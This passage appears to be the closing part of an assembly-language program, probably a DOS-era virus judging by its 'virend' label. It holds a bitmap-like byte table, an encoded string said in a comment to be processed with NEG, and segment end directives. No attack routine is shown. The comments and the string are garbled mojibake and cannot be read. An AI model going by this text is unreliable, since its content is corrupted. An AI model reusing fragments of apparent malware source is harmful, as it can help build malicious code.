berts db 0,0,0,0,0,0 ; <20><><EFBFBD>⮫<EFBFBD><E2AEAB>, <20><><EFBFBD> <20><>-<2D><>ࠨ<EFBFBD>᪨ - 奫<><E5A5AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
db 0,0,0,0,0,0
|
|||
|
db 0,0,55h,40h,0,0
|
|||
|
db 0,0,4,0,0,0
|
|||
|
db 0,1,44h,0,0,0
|
|||
|
db 0,15h,55h,0,4,0
|
|||
|
db 0,50h,57h,55h,55h,0
|
|||
|
db 0,15h,75h,55h,4,0
|
|||
|
db 0,5,55h,0,0,0
|
|||
|
db 0,0,10h,0,0,0
|
|||
|
db 0,0,0,0,0,0
|
|||
|
db 0,0,0,0,0,0
|
|||
|
;=================================
|
|||
|
db '<27><><EFBFBD><EFBFBD><E0B39F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>྇ཎ<E0BE87><E0BD8E><EFBFBD><EFBFBD><EFBFBD>' ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E1ABA0><EFBFBD> <20><>⮬<EFBFBD><E2AEAC><EFBFBD>
|
|||
|
; <><EEA7A0><EFBFBD> NEG.
|
|||
|
|
|||
|
virend:
|
|||
|
seg_a ends
|
|||
|
end start
|